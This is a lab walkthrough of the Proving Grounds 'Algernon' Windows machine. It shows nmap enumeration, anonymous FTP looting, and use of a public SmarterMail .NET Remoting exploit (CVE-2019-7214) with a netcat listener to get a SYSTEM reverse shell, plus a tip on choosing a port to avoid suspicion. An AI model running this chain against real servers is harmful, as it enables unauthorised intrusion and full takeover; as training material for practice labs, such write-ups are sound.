Algernon - Proving Grounds Practice - Windows Walkthrough

---

1. Service Enumeration

I began with a standard Nmap scan to uncover open ports and service versions:

┌──(root@mursalin)-[~/ProvingGrounds/Algernon]
└─# sudo nmap -Pn -n 192.168.145.54 -sC -sV -p- --open
Starting Nmap 7.94 at 2023-11-27 10:01 EST
Nmap scan report for 192.168.145.54
Host is up (0.080s latency).
Not shown: 64643 closed tcp ports (reset), 878 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20 09:31PM       <DIR> ImapRetrieval
| 11-27-23 06:57AM       <DIR> Logs
| 04-29-20 09:31PM       <DIR> PopRetrieval
| 04-29-20 09:32PM       <DIR> Spool
|_ftp-syst: SYST: Windows_NT
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: Potentially risky methods: TRACE
|_http-title: IIS Windows
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
9998/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
| http-server-header: Microsoft-IIS/10.0
17001/tcp open  remoting      MS.NET Remoting services
49664/tcp open  msrpc         Microsoft Windows RPC
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The scan reveals several interesting entry points:

• Port 21: FTP with anonymous access allowed
• Port 80: IIS web server (default page)
• Port 445: SMB
• Port 9998: HTTP API serving a web interface
• Port 17001: .NET Remoting service

---

2. FTP Enumeration

Since anonymous FTP login is enabled, I used wget to recursively download the entire FTP tree:

┌──(root@mursalin)-[~/ProvingGrounds/Algernon]
└─# wget -r ftp://Anonymous:pass@192.168.145.54

The directory structure is mirrored locally:

ImapRetrieval/
Logs/
PopRetrieval/
Spool/

Checking the Logs directory revealed several log files. Using cat * I discovered a series of entries that mention a webmail system and a user named admin:

03:35:45.726 [192.168.118.6] User @ calling create primary system admin, username: admin
03:35:47.054 [192.168.118.6] Webmail Attempting to login user: admin
03:35:47.054 [192.168.118.6] Webmail Login successful: With user admin
...

This indicates that a webmail application is running and that the admin user is actively using it.

---

3. Webmail Discovery

Browsing to port 9998 (http://192.168.145.54:9998/interface/root) redirects to a login page for SmarterMail. The interface is clear:

![SmarterMail Login]

Searching for SmarterMail exploits quickly points to a known vulnerability.

---

4. Vulnerability Identification

Using searchsploit I located a remote code execution exploit for SmarterMail Build 6985:

┌──(root@mursalin)-[~/ProvingGrounds/Algernon]
└─# searchsploit SmarterMail
--------------------------------------------------------------------------------------------------------
 Exploit Title                                                      |  Path
--------------------------------------------------------------------------------------------------------
SmarterMail Build 6985 - Remote Code Execution                     | windows/remote/49216.py
--------------------------------------------------------------------------------------------------------

I mirrored the exploit to my working directory:

┌──(root@mursalin)-[~/ProvingGrounds/Algernon]
└─# searchsploit -m windows/remote/49216.py
  Copied to: /home/root/ProvingGrounds/Algernon/49216.py

---

5. Exploit Customisation

Opening the script, I identified the key configuration parameters:

HOST='192.168.1.1'
PORT=17001
LHOST='192.168.1.2'
LPORT=4444

I updated them accordingly:

• HOST → 192.168.145.54 (target IP)
• PORT → keep 17001 (the .NET Remoting port)
• LHOST → 192.168.45.154 (my tun0 IP, obtained with ip a)
• LPORT → 135 (I prefer to use a common port to avoid suspicion; SMB port 135 is suitable, but since it's below 1024, I need sudo for the listener)

The modified section:

HOST='192.168.145.54'
PORT=17001
LHOST='192.168.45.154'
LPORT=135

---

6. Setting Up the Listener

I started a netcat listener on port 135 with rlwrap to enable command history and arrow keys:

┌──(root@mursalin)-[~/ProvingGrounds/Algernon]
└─# sudo rlwrap nc -lvnp 135
listening on [any] 135 ...

---

7. Executing the Exploit

With the listener ready, I ran the Python exploit:

┌──(root@mursalin)-[~/ProvingGrounds/Algernon]
└─# python3 49216.py

The script sent the malicious .NET remoting payload to port 17001. There was no immediate output, but the listener caught a connection:

connect to [192.168.45.154] from (UNKNOWN) [192.168.145.54] 49903
PS C:\Windows\system32> whoami
nt authority\system

I now had a shell running as NT AUTHORITY\SYSTEM—the highest privilege level on Windows.

---

8. Conclusion

This machine was straightforward once the anonymous FTP share was enumerated. The logs pointed directly to the webmail application and the administrative user. The SmarterMail vulnerability (CVE-2019-7214) allowed remote code execution via the .NET Remoting endpoint on port 17001. With that, I gained immediate SYSTEM access.

Key takeaways:

• Always check anonymous FTP shares for useful logs or configuration files.
• Don't overlook uncommon ports like 9998 and 17001—they often host interesting services.
• When a service runs under high privileges, exploiting it can yield immediate root (or SYSTEM) access.

Happy hacking!

---

Written by Mursalin